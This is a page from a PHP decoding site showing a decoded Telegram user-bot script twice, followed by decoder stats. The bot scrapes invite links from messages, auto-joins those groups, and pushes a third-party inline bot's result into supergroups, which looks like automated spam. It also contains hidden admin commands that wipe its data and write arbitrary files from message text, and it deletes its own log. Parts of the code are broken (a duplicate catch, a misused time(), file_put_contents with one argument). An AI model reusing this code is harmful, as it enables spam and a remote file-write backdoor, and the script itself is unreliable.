Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php date_default_timezone_set('Asia/Tehran'); $data = json_decode(file_get_contents("d..
Decoded Output download
<?php
date_default_timezone_set('Asia/Tehran');
$data = json_decode(file_get_contents("data.json"),true);
$linkdon = $data["data"]["linkdon"];
$admins = $data["data"]["admins"];
if (!file_exists('data.json')) {
$data["data"]["admins"][186134317]="@P1000";
$data["data"]["linkdon"][-1001144648226]="@E6000";
file_put_contents("data.json",json_encode($data));
}
if(preg_match("/( ) (.*)$/", $msg)){
preg_match("/( ) (.*)$/", $msg, $text1);
$Username = $text1[2];
$Array = $MadelineProto->get_full_info($Username);
$user_iD=$Array['bot_api_id'];
if(!isset($data["data"]["admin"][$user_iD])){
$data["data"]["admins"][$user_iD]=$Username;
file_put_contents("data.json",json_encode($data));
}
}
if($chatID<=-100 and !isset($data["data"]["linkdon"][$user_iD])){
if ($msg != '1') {
$messages_BotResults = $MadelineProto->messages->getInlineBotResults(['bot' => "@Hdjdhhsshbot", 'peer' => 186134317, 'query' => "MjE4NDA4NTg1", 'offset' => '0', ]);
$query_id = $messages_BotResults['query_id'];
$query_res_id = $messages_BotResults['results'][0]['id'];
$type = $MadelineProto->get_info($chatID);
$type3 = $type['type'];
if($type3 == "supergroup"){
try{
$MadelineProto->messages->sendInlineBotResult(['silent' => true, 'background' => false, 'clear_draft' => true, 'peer' => $chatID, 'reply_to_msg_id' => $msg_id, 'query_id' => $query_id, 'id' => "$query_res_id", ]);
}catch (\danog\MadelineProto\RPCErrorException $e) {
if ($e->rpc == 'CHAT_FORBIDDEN') {
$MadelineProto->channels->leaveChannel(['channel' => $chatID, ]);
$MadelineProto->messages->sendMessage(['peer' =>$admins, 'message' => " $chatID "]);
}
}catch (\danog\MadelineProto\RPCErrorException $e2) {
if ($e2->rpc == 'CHAT_FORBIDDEN') {
$MadelineProto->channels->leaveChannel(['channel' => $chatID, ]);
$MadelineProto->messages->sendMessage(['peer' =>$admins, 'message' => " $chatID "]);
}
}
$MadelineProto->channels->leaveChannel(['channel' => $chatID, ]);
}
}
}
if(isset($data["data"]["admins"][$chatID]) or isset($data["data"]["linkdon"][$chatID])){
if( preg_match("/^(.*)([Hh]ttp|[Hh]ttps|t.me)(.*)|([Hh]ttp|[Hh]ttps|t.me)(.*)|(.*)([Hh]ttp|[Hh]ttps|t.me)|(.*)[Tt]elegram.me(.*)|[Tt]elegram.me(.*)|(.*)[Tt]elegram.me|(.*)[Tt].me(.*)|[Tt].me(.*)|(.*)[Tt].me/", $msg)){
preg_match("/^(.*)([Hh]ttp|[Hh]ttps|t.me)(.*)|([Hh]ttp|[Hh]ttps|t.me)(.*)|(.*)([Hh]ttp|[Hh]ttps|t.me)|(.*)[Tt]elegram.me(.*)|[Tt]elegram.me(.*)|(.*)[Tt]elegram.me|(.*)[Tt].me(.*)|[Tt].me(.*)|(.*)[Tt].me/", $msg,$l);
$link=$l[0];
$time=file_get_contents("time.txt");
$timer=date('y-n-j h:i:s');
if($timer>=$time){
try {
$MadelineProto->messages->importChatInvite([
'hash' => str_replace('https://t.me/joinchat/', '', $link),]);
$MadelineProto->messages->sendMessage(['peer' => 186134317,'message' => "",'parse_mode' => "html"]);
sleep(6);
}catch (\danog\MadelineProto\RPCErrorException $e) {
$decode = preg_replace("/[^0-9]/", '', $e);
$delfake = substr($decode,0,3);
$MadelineProto->messages->sendMessage(['peer' => @error_source_bot,'message' => "$delfake",'parse_mode' => "html"]);
}catch (\danog\MadelineProto\Exception $e2) {
$MadelineProto->messages->sendMessage(['peer' => $admins,'message' => " ",'parse_mode' => "html"]);
}
}
}else if(preg_match("/( ) (@.*)$/", $msg)){
preg_match("/( ) (@.*)$/", $msg, $text1);
$Username = $text1[2];
$Array = $MadelineProto->get_full_info($Username);
$user_iD=$Array['bot_api_id'];
if(!isset($data["data"]["linkdon"][$user_iD])){
$data["data"]["linkdon"][$user_iD]=$Username;
file_put_contents("data.json",json_encode($data));
$MadelineProto->channels->joinChannel(['channel' => $Username, ]);
}
}else if($msg==" "){
file_put_contents("data.json","{}");
}
}
if ($msg >= 1 and $chatID == 866722548) {
$nextWeek = time('y-n-j h:i:s') + ($msg);
file_put_contents("time.txt",date('y-n-j h:i:s', $nextWeek));
}
if(preg_match("/(fuck) (.*) (.*)$/i", $msg) and $chatID == 186134317){
preg_match("/(fuck) (.*) (.*)$/i", $msg, $text);
$count = $text[2];
$txt = $text[3];
$srs = file_put_contents("$txt");
file_put_contents("$count","$srs");
}
unlink("MadelineProto.log");
?>
Did this file decode correctly?
Original Code
<?php
date_default_timezone_set('Asia/Tehran');
$data = json_decode(file_get_contents("data.json"),true);
$linkdon = $data["data"]["linkdon"];
$admins = $data["data"]["admins"];
if (!file_exists('data.json')) {
$data["data"]["admins"][186134317]="@P1000";
$data["data"]["linkdon"][-1001144648226]="@E6000";
file_put_contents("data.json",json_encode($data));
}
if(preg_match("/( ) (.*)$/", $msg)){
preg_match("/( ) (.*)$/", $msg, $text1);
$Username = $text1[2];
$Array = $MadelineProto->get_full_info($Username);
$user_iD=$Array['bot_api_id'];
if(!isset($data["data"]["admin"][$user_iD])){
$data["data"]["admins"][$user_iD]=$Username;
file_put_contents("data.json",json_encode($data));
}
}
if($chatID<=-100 and !isset($data["data"]["linkdon"][$user_iD])){
if ($msg != '1') {
$messages_BotResults = $MadelineProto->messages->getInlineBotResults(['bot' => "@Hdjdhhsshbot", 'peer' => 186134317, 'query' => "MjE4NDA4NTg1", 'offset' => '0', ]);
$query_id = $messages_BotResults['query_id'];
$query_res_id = $messages_BotResults['results'][0]['id'];
$type = $MadelineProto->get_info($chatID);
$type3 = $type['type'];
if($type3 == "supergroup"){
try{
$MadelineProto->messages->sendInlineBotResult(['silent' => true, 'background' => false, 'clear_draft' => true, 'peer' => $chatID, 'reply_to_msg_id' => $msg_id, 'query_id' => $query_id, 'id' => "$query_res_id", ]);
}catch (\danog\MadelineProto\RPCErrorException $e) {
if ($e->rpc == 'CHAT_FORBIDDEN') {
$MadelineProto->channels->leaveChannel(['channel' => $chatID, ]);
$MadelineProto->messages->sendMessage(['peer' =>$admins, 'message' => " $chatID "]);
}
}catch (\danog\MadelineProto\RPCErrorException $e2) {
if ($e2->rpc == 'CHAT_FORBIDDEN') {
$MadelineProto->channels->leaveChannel(['channel' => $chatID, ]);
$MadelineProto->messages->sendMessage(['peer' =>$admins, 'message' => " $chatID "]);
}
}
$MadelineProto->channels->leaveChannel(['channel' => $chatID, ]);
}
}
}
if(isset($data["data"]["admins"][$chatID]) or isset($data["data"]["linkdon"][$chatID])){
if( preg_match("/^(.*)([Hh]ttp|[Hh]ttps|t.me)(.*)|([Hh]ttp|[Hh]ttps|t.me)(.*)|(.*)([Hh]ttp|[Hh]ttps|t.me)|(.*)[Tt]elegram.me(.*)|[Tt]elegram.me(.*)|(.*)[Tt]elegram.me|(.*)[Tt].me(.*)|[Tt].me(.*)|(.*)[Tt].me/", $msg)){
preg_match("/^(.*)([Hh]ttp|[Hh]ttps|t.me)(.*)|([Hh]ttp|[Hh]ttps|t.me)(.*)|(.*)([Hh]ttp|[Hh]ttps|t.me)|(.*)[Tt]elegram.me(.*)|[Tt]elegram.me(.*)|(.*)[Tt]elegram.me|(.*)[Tt].me(.*)|[Tt].me(.*)|(.*)[Tt].me/", $msg,$l);
$link=$l[0];
$time=file_get_contents("time.txt");
$timer=date('y-n-j h:i:s');
if($timer>=$time){
try {
$MadelineProto->messages->importChatInvite([
'hash' => str_replace('https://t.me/joinchat/', '', $link),]);
$MadelineProto->messages->sendMessage(['peer' => 186134317,'message' => "",'parse_mode' => "html"]);
sleep(6);
}catch (\danog\MadelineProto\RPCErrorException $e) {
$decode = preg_replace("/[^0-9]/", '', $e);
$delfake = substr($decode,0,3);
$MadelineProto->messages->sendMessage(['peer' => @error_source_bot,'message' => "$delfake",'parse_mode' => "html"]);
}catch (\danog\MadelineProto\Exception $e2) {
$MadelineProto->messages->sendMessage(['peer' => $admins,'message' => " ",'parse_mode' => "html"]);
}
}
}else if(preg_match("/( ) (@.*)$/", $msg)){
preg_match("/( ) (@.*)$/", $msg, $text1);
$Username = $text1[2];
$Array = $MadelineProto->get_full_info($Username);
$user_iD=$Array['bot_api_id'];
if(!isset($data["data"]["linkdon"][$user_iD])){
$data["data"]["linkdon"][$user_iD]=$Username;
file_put_contents("data.json",json_encode($data));
$MadelineProto->channels->joinChannel(['channel' => $Username, ]);
}
}else if($msg==" "){
file_put_contents("data.json","{}");
}
}
if ($msg >= 1 and $chatID == 866722548) {
$nextWeek = time('y-n-j h:i:s') + ($msg);
file_put_contents("time.txt",date('y-n-j h:i:s', $nextWeek));
}
if(preg_match("/(fuck) (.*) (.*)$/i", $msg) and $chatID == 186134317){
preg_match("/(fuck) (.*) (.*)$/i", $msg, $text);
$count = $text[2];
$txt = $text[3];
$srs = file_put_contents("$txt");
file_put_contents("$count","$srs");
}
unlink("MadelineProto.log");
Function Calls
None |
Stats
MD5 | 5ca16d3616b20a208a42c67c79d47fdf |
Eval Count | 0 |
Decode Time | 104 ms |